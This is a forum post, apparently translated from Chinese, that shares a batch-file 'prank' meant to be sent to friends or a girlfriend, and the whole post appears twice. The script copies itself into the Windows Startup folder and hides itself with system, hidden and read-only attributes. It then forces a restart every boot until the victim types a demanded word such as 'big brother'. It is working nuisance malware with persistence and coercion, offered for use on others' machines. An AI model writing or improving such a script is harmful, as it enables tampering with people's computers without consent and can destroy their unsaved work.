Just came into contact with BAT and made a small program by myself for everyone to have fun.
You can send it to your friends or girlfriend heh heh
Let them have to enter a certain word. For example: big brother, husband. dear````
If they don't enter, the computer will be shut down and restarted, and after restarting, they still have to enter. If they don't enter, restart again [hehe, so mean]
Hope experts can also give me some suggestions, see what needs to be modified and improved, thank you.
Copy the following code into Notepad and save it as egao.bat [the name must be correct, otherwise the function won't be realized]
Okay, here's the main text:
@echo off
title Xiaofeng Production
copy egao.bat "%userprofile%\「Start」Menu\Programs\Startup\"
rem Copy this file to the startup menu
attrib +s +h +r "%userprofile%\「Start」Menu\Programs\Startup\egao.bat"
rem Add read-only, system, hidden attributes to the file
COLOR 3f
MODE con COLS=41 LINES=18
rem Modify the color and size of the window
shutdown -r -t 300 -c ""Enter the two characters [big brother] in the left column to cancel the shutdown------------------------You can also enter the pinyin [dage]
rem Start the system to shut down after 300 seconds and the text to display Note: The displayed text can be modified, such as changing big brother to husband
:c
ECHO =========================================
echo Hehe. Say big brother quickly, if you don't say it, your computer will be shut down, say it quickly! !
ECHO =========================================
rem The displayed text Note: Here you can modify it yourself, such as changing it to little darling. Say husband quickly
set /p dage=Please enter
if /i '%dage%'=='big brother' goto a
if /i '%dage%'=='dage' goto a
rem Judge whether the input is correct, if correct, jump to segment a Note: This also needs to be changed
echo Hehe","say quickly, I don't have so much patience
pause
cls
goto c
rem If the input is wrong, return to segment c
:a
echo Haha, enjoyable!
shutdown -a
rem Cancel the shutdown
pause
You can send it to your friends or girlfriend heh heh
Let them have to enter a certain word. For example: big brother, husband. dear````
If they don't enter, the computer will be shut down and restarted, and after restarting, they still have to enter. If they don't enter, restart again [hehe, so mean]
Hope experts can also give me some suggestions, see what needs to be modified and improved, thank you.
Copy the following code into Notepad and save it as egao.bat [the name must be correct, otherwise the function won't be realized]
Okay, here's the main text:
@echo off
title Xiaofeng Production
copy egao.bat "%userprofile%\「Start」Menu\Programs\Startup\"
rem Copy this file to the startup menu
attrib +s +h +r "%userprofile%\「Start」Menu\Programs\Startup\egao.bat"
rem Add read-only, system, hidden attributes to the file
COLOR 3f
MODE con COLS=41 LINES=18
rem Modify the color and size of the window
shutdown -r -t 300 -c ""Enter the two characters [big brother] in the left column to cancel the shutdown------------------------You can also enter the pinyin [dage]
rem Start the system to shut down after 300 seconds and the text to display Note: The displayed text can be modified, such as changing big brother to husband
:c
ECHO =========================================
echo Hehe. Say big brother quickly, if you don't say it, your computer will be shut down, say it quickly! !
ECHO =========================================
rem The displayed text Note: Here you can modify it yourself, such as changing it to little darling. Say husband quickly
set /p dage=Please enter
if /i '%dage%'=='big brother' goto a
if /i '%dage%'=='dage' goto a
rem Judge whether the input is correct, if correct, jump to segment a Note: This also needs to be changed
echo Hehe","say quickly, I don't have so much patience
pause
cls
goto c
rem If the input is wrong, return to segment c
:a
echo Haha, enjoyable!
shutdown -a
rem Cancel the shutdown
pause
Recent Ratings for This Post
( 1 in total)
Click for details
| Rater | Score | Time |
|---|---|---|
| qinchun36 | +1 | 2009-12-15 16:49 |

